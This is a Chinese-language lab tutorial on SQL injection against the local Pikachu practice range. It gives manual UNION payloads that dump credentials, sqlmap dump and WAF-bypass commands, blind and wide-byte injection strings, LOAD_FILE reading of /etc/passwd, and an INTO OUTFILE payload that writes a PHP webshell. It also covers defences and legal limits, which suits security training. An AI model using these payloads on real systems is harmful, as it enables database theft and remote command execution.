1. 靶场环境搭建与工具准备
在开始SQL注入实战之前,我们需要先搭建好实验环境。Pikachu靶场是一个专门为Web安全学习设计的漏洞练习平台,而Kali Linux则是渗透测试的标准操作系统。
1.1 Kali Linux基础配置
首先确保你的Kali系统已经更新到最新版本。打开终端执行以下命令:
code复制sudo apt update && sudo apt upgrade -y
注意:如果是在物理机安装Kali,建议分配至少50GB磁盘空间。虚拟机环境下20GB也能运行,但可能很快会遇到存储空间不足的问题。
Kali默认使用root用户,但为了安全实践,我建议创建一个普通用户:
code复制adduser pentester
usermod -aG sudo pentester
然后安装必要的依赖包:
code复制sudo apt install -y git docker.io docker-compose openjdk-11-jdk
1.2 Pikachu靶场部署
Pikachu靶场可以通过Docker快速部署,这是目前最方便的安装方式:
code复制git clone https://github.com/zhuifengshaonianhanlu/pikachu.git
cd pikachu
docker-compose up -d
部署完成后,访问 http://localhost:8080 即可看到Pikachu的登录界面。默认账号密码是admin/123456。
如果遇到端口冲突,可以修改docker-compose.yml文件中的端口映射。例如将8080改为8081:
yaml复制ports:
- "8081:80"
1.3 必要工具安装
除了基础环境,还需要准备以下工具:
- Burp Suite:Kali已预装社区版,专业版需要自行下载
- SQLMap:Kali预装,可通过
sqlmap --version检查 - 浏览器插件:
- HackBar(Firefox插件)
- Cookie-Editor(Chrome插件)
安装HackBar插件(Firefox):
code复制git clone https://github.com/Mr-xn/hackbar.git
cd hackbar
zip -r ../hackbar.xpi *
然后在Firefox中打开about:debugging,加载临时插件。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. SQL注入漏洞原理深度解析
2.1 SQL注入的本质
SQL注入(SQL Injection)的本质是攻击者通过构造特殊输入,改变原有SQL语句的逻辑结构。当Web应用未对用户输入做充分过滤时,攻击者可以:
- 绕过登录验证(如' or 1=1 --)
- 窃取数据库信息(通过UNION SELECT)
- 执行系统命令(如SQL Server的xp_cmdshell)
- 篡改数据库内容(UPDATE/DELETE语句)
2.2 Pikachu靶场中的注入类型
Pikachu靶场涵盖了多种SQL注入场景:
| 注入类型 | 危险等级 | 典型Payload |
|---|---|---|
| 数字型注入 | ★★★ | id=1 and 1=1 |
| 字符型注入 | ★★★★ | name=admin' -- |
| 搜索型注入 | ★★★ | keyword=test%' and 1=1 -- |
| XXE注入 | ★★★★★ | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
| 盲注 | ★★★★ | id=1 and if(ascii(substr(database(),1,1))=112,sleep(3),0) |
2.3 数据库差异对比
不同数据库的注入技术有所区别:
sql复制-- MySQL
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,database()
-- Oracle
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,(SELECT banner FROM v$version) FROM dual
-- SQL Server
SELECT * FROM users WHERE id=1; EXEC xp_cmdshell('whoami')
Pikachu靶场使用的是MySQL数据库,这也是实际Web应用中最常见的数据库类型。
3. 手工注入实战步骤
3.1 注入点探测
首先访问Pikachu的SQL-Inject-4页面,这是一个典型的搜索型注入场景。在搜索框输入单引号:
code复制test'
如果页面返回数据库错误(如You have an error in your SQL syntax),说明存在SQL注入漏洞。
3.2 确定字段数
使用ORDER BY确定查询返回的字段数:
code复制test' ORDER BY 5 --
逐步增加数字直到页面报错。假设在ORDER BY 4时报错,说明查询返回3个字段。
3.3 联合查询获取数据
构造UNION SELECT语句:
code复制test' UNION SELECT 1,2,3 --
观察页面显示,假设数字2和3显示在页面上,说明这两个位置可以回显数据。
获取当前数据库:
code复制test' UNION SELECT 1,database(),3 --
获取所有表名:
code复制test' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --
3.4 提取敏感数据
假设我们发现有个users表,获取其字段:
code复制test' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --
最终获取用户名密码:
code复制test' UNION SELECT 1,group_concat(username,':',password),3 FROM users --
4. SQLMap自动化利用
虽然手工注入有助于理解原理,但实际渗透测试中更多使用自动化工具。
4.1 基本扫描
code复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_str.php?name=test" --batch
参数说明:
-u:指定URL--batch:自动选择默认选项
4.2 获取数据库信息
列出所有数据库:
code复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_str.php?name=test" --dbs
获取当前数据库表:
code复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_str.php?name=test" -D pikachu --tables
4.3 数据导出
导出users表数据:
code复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_str.php?name=test" -D pikachu -T users --dump
4.4 高级技巧
使用Tamper脚本绕过WAF:
code复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_str.php?name=test" --tamper=space2comment
多线程加速:
code复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_str.php?name=test" --threads=5
5. 防御措施与修复方案
5.1 代码层防护
- 预处理语句(最佳实践):
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
- 输入过滤:
php复制$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);
if ($id === false) {
die("Invalid input");
}
- 最小权限原则:
sql复制CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT ON pikachu.users TO 'webuser'@'localhost';
5.2 系统层防护
- Web应用防火墙(WAF)规则示例:
code复制SecRule ARGS "@detectSQLi" "id:1001,deny,status:403,msg:'SQL Injection Attempt'"
- 数据库审计:
sql复制-- MySQL审计插件安装
INSTALL PLUGIN audit_log SONAME 'audit_log.so';
5.3 应急响应
发现SQL注入后的处理流程:
- 立即隔离受影响系统
- 分析日志确定攻击路径
- 重置数据库密码
- 修补漏洞后逐步恢复服务
6. 实战中的疑难问题解决
6.1 编码问题导致注入失败
当遇到页面使用GBK编码时,可以使用宽字节注入:
code复制test%df' --
原理:%df与反斜杠组合形成合法汉字,吃掉转义字符。
6.2 盲注加速技巧
布尔盲注时,使用二分查找法:
code复制?id=1 and ascii(substr((select database()),1,1))>110
时间盲注时,使用条件响应:
code复制?id=1 and if(ascii(substr(database(),1,1))=112,sleep(3),0)
6.3 绕过过滤的奇技淫巧
- 大小写混淆:
code复制SeLeCt * FrOm users
- 内联注释:
code复制/*!SELECT*/ * FROM users
- 字符串拼接:
code复制CONCAT('sel','ect')
- 十六进制编码:
code复制0x73656C656374202A2066726F6D207573657273
7. 从注入到提权的高级利用
7.1 读取系统文件
MySQL中读取/etc/passwd:
code复制test' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 --
需要满足以下条件:
- 知道文件绝对路径
- 有FILE权限
- secure_file_priv未设置
7.2 写入WebShell
如果知道Web目录路径:
code复制test' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php' --
访问http://localhost/shell.php?cmd=id即可执行系统命令。
7.3 哈希破解
获取到的密码哈希可以使用John the Ripper破解:
code复制john --format=raw-md5 hashes.txt
或者使用在线破解网站如crackstation.net。
8. 法律与道德边界
在进行任何安全测试前,必须:
- 获得系统所有者的书面授权
- 明确测试范围和规则
- 不进行破坏性操作
- 测试完成后提交详细报告
- 不保留任何敏感数据
推荐的学习资源:
- OWASP SQL Injection Prevention Cheat Sheet
- MITRE ATT&CK框架 T1190
- 《Web安全攻防:渗透测试实战指南》
